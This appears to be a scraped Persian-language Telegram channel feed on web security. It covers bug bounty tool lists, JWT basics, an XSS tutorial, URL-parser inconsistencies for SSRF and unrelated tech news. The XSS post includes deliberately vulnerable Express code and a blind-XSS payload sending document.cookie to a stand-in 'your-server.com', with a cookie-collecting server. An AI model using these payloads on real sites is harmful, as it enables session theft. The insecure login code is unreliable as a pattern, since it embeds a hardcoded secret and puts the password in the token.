/dev/null

Forwarded from Bug Bounty Tools & Writeups | Hide Club

Please open Telegram to view this post

06:10

Awesome Bug Bounty Tools.

• Recon:
- Subdomain Enumeration;
- Port Scanning;
- Screenshots;
- Technologies;
- Content Discovery;
- Links;
- Parameters;
- Fuzzing.

• Exploitation:
- Command Injection;
- CORS Misconfiguration;
- CRLF Injection;
- CSRF Injection;
- Directory Traversal;
- File Inclusion;
- GraphQL Injection;
- Header Injection;
- Insecure Deserialization;
- Insecure Direct Object References;
- Open Redirect;
- Race Condition;
- Request Smuggling;
- Server Side Request Forgery;
- SQL Injection;
- XSS Injection;
- XXE Injection.

• Miscellaneous:
- Passwords;
- Secrets;
- Git;
- Buckets;
- CMS;
- JSON Web Token;
- postMessage;
- Subdomain Takeover;
- Uncategorized.

GitHub

GitHub - vavkamil/awesome-bugbounty-tools: A curated list of various bug bounty tools

A curated list of various bug bounty tools. Contribute to vavkamil/awesome-bugbounty-tools development by creating an account on GitHub.

296 views22:36

/dev/null

https://blog.sicuranext.com/breaking-down-multipart-parsers-validation-bypass/#bypass-nodejs-and-busboy

Sicuranext Blog

Breaking Down Multipart Parsers: File upload validation bypass

TL;DR: Basically, all multipart/form-data parsers fail to fully comply with the RFC, and when it comes to validating filenames or content uploaded by users, there are always numerous ways to bypass validation. We'll test various bypass techniques against…

353 views06:59

/dev/null

💭انواع احراز هویت در web applications : احراز هویت با نام کاربری و رمز عبور : این روش رایج‌ترین نوع احراز هویت است که کاربران با وارد کردن نام کاربری و رمز عبور خود به وب اپلیکیشن دسترسی پیدا می‌کنند احراز هویت دو مرحله‌ای (2FA): این روش شامل دو مرحله…

const jwt = require('jsonwebtoken');

router.post('/login', async (req, res) => {
    const { email, password } = req.body;
    const secretKey = 'your_secret_key';

    try {
        const user = await userModel.findOne({ where: { email } });

        if (user) {

            // The comparison of the entered password with the stored password.
            if (user.password === password) {
                const payload = {
                    "id": user.id, 
                    "email": user.email,
                    "password": user.password
                };
                const token = jwt.sign(payload, secretKey, {
                    expiresIn: '3h',
                    algorithm: 'RS256'
                });
                res.cookie('token', token, {
                    sameSite: 'strict',
                    httpOnly: true, 
                    path: '/', 
                    maxAge: 1 * 60 * 60 * 1000
                });
                
                return res.redirect('/user/profile');

👏3👍1

410 views08:54

/dev/null

const jwt = require('jsonwebtoken'); router.post('/login', async (req, res) => { const { email, password } = req.body; const secretKey = 'your_secret_key'; try { const user = await userModel.findOne({ where: { email } }); if…

وقتی که وارد صفحه لاگین میشه بعد تأیید هویت شدن یه token تویه response واسش قرار داده میشه و بعد برای وارد شدن به پروفایلش اون توکن مشخص میکنه چه کاربری هس و با چه سطح دسترسی و اطلاعات مربوط به همون شخص رو بهش نشون میده.
#jwt

👏5👍1

388 views09:58

/dev/null

( ربطی به مبحث چنل نداره ولی دیدم این مبحث معماری کامپیوتر جذابه 🦦)

Swap (سواپ):

سواپ یه فرآیندیه که در آن سیستم عامل اون prosses که به طور فعال استفاده نمی‌شوند را از (RAM) به فضای ( Virtual memory)( یه حافظه مجازی ) منتقل می‌کند. این یک روش برای مدیریت حافظه است و به سیستم اجازه می‌دهد تا بیش از ظرفیت فیزیکی RAM خود به نظر برسد. سواپ عمدتاً زمانی اتفاق می‌افتد که Ram پر شود و به فضای بیشتری برای اجرای برنامه‌ها نیاز باشد و معمولا افزایش یا کاهش Swap دست خودمونه.

خب حالا یه سوال پیش میاد ؟
من میتونم هر برنامه ای مثلا یه گیم با 20 گیگ رم رو تویه سیستم با 8 گیگ رم اجرا کنم؟
نه ، چند تا بحث هس :

اولیش اینه که یه مفهومی هس به اسم ( working set ) و نشون میده که یه مجموعه‌ای از صفحات حافظه ( page tables ) است که یک پروسه در طول یک دوره زمانی خاص به آن‌ها دسترسی دارد یا از آن‌ها استفاده می‌کند ( اصل لوکالیتی) .
حالا چون برنامه یه سری پروسه ها رو نیاز داره و باید اجرا بشه دنبالش تویه RAM میگرده و پیداش نمیکنه ( اصطلاحا میگن miss خورده) و حالا باید بره از Virtual memory بیاره که اوردر پیدا کردن و آوردنش خیلی بیشتر از پیدا کردن تویه خود ram هست و سرعتو کاهش میده

و یه مسئله دیگه هم اینه که برخی از برنامه‌ها به گونه‌ای طراحی شده‌اند که نیاز به مقدار مشخصی از RAM دارند و عملکرد صحیح آن‌ها در صورت کمبود RAM به شدت تحت تأثیر قرار می‌گیرد یا اصلاً اجرا نمی‌شن

خب حالا از کجا میفهمه من اونقدر حجم ندارم ؟
برنامه‌ها هنگام اجرا می‌توانند درخواست حافظه کنند. اگر سیستم عامل نتواند این مقدار حافظه را فوراً تخصیص دهد (چه به دلیل کمبود RAM، چه نیاز به سواپ کردن داده‌ها)، برنامه ممکن است با خطا یا کاهش عملکرد مواجه بشه
یا اینکه کلا برنامه میتونه از طریق API های سیستم عامل مقدار حجم ram رو ببینه مثلا تویه لینوکس : /proc/meminfo

👍4🔥2

443 viewsedited 21:17

/dev/null

😁2

441 views17:21

/dev/null

Forwarded from Linuxor ?

این سایته هم جالب بود چند هزار تا المنت برای ui توش می‌تونین پیدا کنین

https://uiverse.io/elements

🐧 @Linuxor ~ mouad_dadda

🔥3

389 views14:45

/dev/null

XSS : ( cross-site scripting )

یه آسیب پذیری امنیتی وب هس که ما یه کد script دلخواه تویه یه وب سایت inject کنیم . کدی که inject میکنیم رویه browser کاربر اجرا میشه .
حالا به دو صورت تقسیم میشه :

1- Normal XSS
2- DOM XSS

تویه Normal xss به خاطر render کردن کد های HTML اتفاق میوفته که میتونه خودش به دو قسمت : Reflected , Stored تقسیم بشه . و تویه DOM xss , رندر کردن کد های HTML تموم میشه و مثلا وفتی میخواد کد های js رو اجرا کنه که اون کد های js باعث تغییر صفحه یا DOM میشن که تویه اون فرآیند باعث به وجود اومدن xss میشه و این قسمت هم میتونه دو بخش Reflected و Stored داشته باشه .

حالا Reflected و Stored چیه ؟
وقتی که کد های inject شده ما ذخیره نشن مثلا توسط لینک های مخرب باعث بشه xss به وجود بیاد بهش میگن Reflected ولی وقتی کد ها تویه database ذخیره میشن مثلا وقتی که کامنت واسه یه پستی تویه یه وب سایتی می‌نویسین بهش میگن Stored .

یه سری از Vector های xss :

<script>alert(document.cookie)</script>
<img src=x onerror=alert(document.cookie)>
<svg onerror=alert(document.cookie)>

یه مثال از Reflected XSS با node js :

const express = require('express');
const app = express();

app.get('/search', function(req, res) {
    var searchTerm = req.query.q;
    res.send('You searched for: ' + searchTerm);
});

app.listen(8080);

تویه این کد یه query از کاربر میگیره (q) و نتایج اون رو بهش نشون میده و تویه کد هیچ جایی ورودی رو با استفاده از توابعی مثل sanitizeHtml() امن نکرده . کاربر میتونه این payload رو استفاده کنه :

http://site.com/search?q=<script>alert(document.cookie)</script>

بعد اجرا این url برای کاربر cookie , نمایش داده میشه .

مثال برای Stored xss :

const express = require('express');
const app = express();
const PORT = 8081;

// store comment !!
let comments = ['Great product!', 'I love it!', 'Could be better.'];

// show comment 
app.get('/comments', async (req, res) => {
    let html = '<ul>';
    for (const comment of comments) {
        html += `<li>${comment}</li>`;
    }
    html += '</ul>';
    res.send(html);
});

app.listen(PORT, () => {
    console.log(`Server is running on http://localhost:${PORT}`);
});

خب تویه این همینطور که میبینین comment ها یه جا ذخیره شده ( من واسه مثال تویه آرایه اوردم).
اگه attacker بیاد و چنین کامنتی اضافه کنه :

<script>alert(document.cookie)</script>

تویه دیتابیس اضافه میشه :

let comments = ['Great product!', 'I love it!', 'Could be better.' , <script>alert(document.cookie)</script>];

و حالا هر کاربری که وارد بحش کامنت ها بشه این payload براش اجرا میشه .
میشه با تابعی به اسم sanitizeHTML() ورودی رو امن کرد.

برای DOM xss هم :

<!DOCTYPE html>
<html>
<head>
    <title>DOM xss</title>
</head>
<body>
    <div id="test"></div>
    <script>
        const name = new URLSearchParams(window.location.search).get('name');
        document.write("Hello, " + name);
    </script>
</body>
</html>

تویه این کد با توجه به پارامتری که به query میدیم صفحه سایت یا DOM عوض میشه .
مثلا اگه این url رو اجرا کنم :

http://localhost:8082/DOM-xss.html/?name=moha

تویه صفحه برای من Hello moha چاپ میشه .
حالا اگه این url رو اجرا کنم :

http://localhost:8082/DOM-xss.html/?name=moha <script>alert(document.cookie)</script>

واسم cookie نمایش داده میشه .

البته یه نوع دیگه xss هم هس بهش Blind xss میگن . طبیعتا ( تا حالا ننوشته بودم طبیعتا 😂 ) ما نمیخوایم cookie رو فقط برای خود کاربر نمایش بدیم و میخوایم cookie کاربر رو به بدست بیاریم و بعد حالا باهاش هر کاری که کاربر میتونه انحام بده انجام بدیم ( مثلا بعد پیدا کردن xss بریم برای csrf یا اینکه چون sop ( same origin policy ) نمیزاره به دیتا ها دسترسی داشته باشیم میتونیم با xss بدون اینکه بخوایم به دیتا دسترسی داشته باشیم اون هارو تغییر بدیم مثلا پسوورد لاگین کاربر رو و ...) . حالا برای Blind باید از تکنیک out-of band استفاده کنیم که قبلا توضیح دادم راجبش .
کدش یه چنین چیزی میشه :
این میشه payload که وارد کردیم. حالا تویه حالت store یا reflected :

<script>
    fetch('http://your-server.com/xss?cookie=' + document.cookie);
</script>

🔥5👍1👏1

2.1K views17:09

/dev/null

XSS : ( cross-site scripting ) یه آسیب پذیری امنیتی وب هس که ما یه کد script دلخواه تویه یه وب سایت inject کنیم . کدی که inject میکنیم رویه browser کاربر اجرا میشه . حالا به دو صورت تقسیم میشه : 1- Normal XSS 2- DOM XSS تویه Normal xss به خاطر render…

و بعد وب سایت خودمون برای دریافت cookie :

const express = require('express');
const app = express();
const PORT = 8083;

app.get('/xss', async (req, res) => {
    const cookie = req.query.cookie;
    console.log('Received cookie:', cookie);
    res.send('Cookie received');
});

app.listen(PORT, () => {
    console.log(`Server is running on http://localhost:${PORT}`);
});

(دیگه جا نمیشد همش با هم یه جا 😂🦦)

🔥6👍1👏1

2.56K views17:09

/dev/null

https://github.com/payloadbox/xss-payload-list

429 views16:28

/dev/null

Forwarded from < CyberCesar />

اگه قرار باشه هر ترمت رو با یک کلمه خلاصه کنی، اون کلمه چیه؟
دوستان چنل دار جواب بدین چنلاتون

👍1

351 views21:37

/dev/null

ترم 1 : هیاهو
ترم 2 : دلتنگی
ترم 3 : فکر زیاد

💋3💔2👌1

610 views21:37

/dev/null

https://x.com/horizonbehind2/status/1868218750706872658?s=19

X (formerly Twitter)

mostafa (@horizonbehind2) on X

ساخت ساب رایگان vless با تعداد کانفیگ زیاد روی کلودفلر
وارد سایت https://t.co/PTWCI9C5hG بشین اکانت جدید بسازید

#فیلترنت #فیلترشکن #اینترنت_آزاد

396 views12:47

/dev/null

https://x.com/horizonbehind2/status/1868218750706872658?s=19

آقا این توییت ساده توضیح داده چطوری ساب vless رویه کلود فلر درست کنین ( رایگان)

368 viewsedited 12:48

/dev/null

Forwarded from Linuxor ?

خبر داغ : وی اس کد خبر رایگان شدن هوش مصنوعی Copilot رو برای وی اس کد داده

توی کد زدن خیلی خوب کمک می‌کنه توی این یکسالی که من غیر رایگانش رو استفاده می‌کردم عالی بود.

نحوه فعال سازی :

https://code.visualstudio.com/blogs/2024/12/18/free-github-copilot

@Linuxor ~ Sezo

👏3

330 views22:38

/dev/null

Linuxor ?

خبر داغ : وی اس کد خبر رایگان شدن هوش مصنوعی Copilot رو برای وی اس کد داده توی کد زدن خیلی خوب کمک می‌کنه توی این یکسالی که من غیر رایگانش رو استفاده می‌کردم عالی بود. نحوه فعال سازی : https://code.visualstudio.com/blogs/2024/12/18/free-github-copilot…

این Copilot Edits به نظر چیز حقیه

https://code.visualstudio.com/docs/copilot/copilot-edits

Visualstudio

Use chat in VS Code

Learn how to use chat in VS Code. Access different chat surfaces, send a request, add context, write effective prompts, and review AI-generated changes.

364 views23:35

/dev/null

یه مبحثی هست به اسم Inconsistency
که بین checker function ها و library های ارسال کننده درخواست http اتفاق میوفته
و اون اینطوری هس که هم checker function ها امن هستن و هم library ها
ولی وقتی با هم کار میکنن آسیب پذیر میشن
مثلا تویه این URL:

https://admin@site.com
username : admin 
Host : site.com

ولی تویه این یکی :

https://site.com@admin.ir@moha.tld 

What is Host?

کلا مهم نیس الان هاست چیه
مهم اینه که مثلا parse_url تویه php با curl هاست رو یه چیزی بگن ولی این طوری نیست
مثلا تویه :

curl -v http://user@127.0.0.1:80@www.google.com/x.php

Host = 127.0.0.1

ولی همین URL رو parse_url میگه google.com !

و اینطوری میشه وقتی curl میزنیم میتونیم میتونیم فایل x.php که تویه یه سرور داخلی هست و اصلا ای پی پابلیک نداره رو بهش دسترسی داشته باشیم.

👏4

418 viewsedited 22:06

/dev/null

یه مبحثی هست به اسم Inconsistency که بین checker function ها و library های ارسال کننده درخواست http اتفاق میوفته و اون اینطوری هس که هم checker function ها امن هستن و هم library ها ولی وقتی با هم کار میکنن آسیب پذیر میشن مثلا تویه این URL: https://admin@site.com…

یه Writeup که میتونین بیشتر بخونین دربارش

https://fireshellsecurity.team/sunshinectf-search-box/

FireShell Security Team

SunshineCTF - Search Box Writeup

Writeup of Search Box

👍2

438 views22:10

/dev/null

https://github.com/sarperavci/GoogleRecaptchaBypass?tab=readme-ov-file
bypass captcha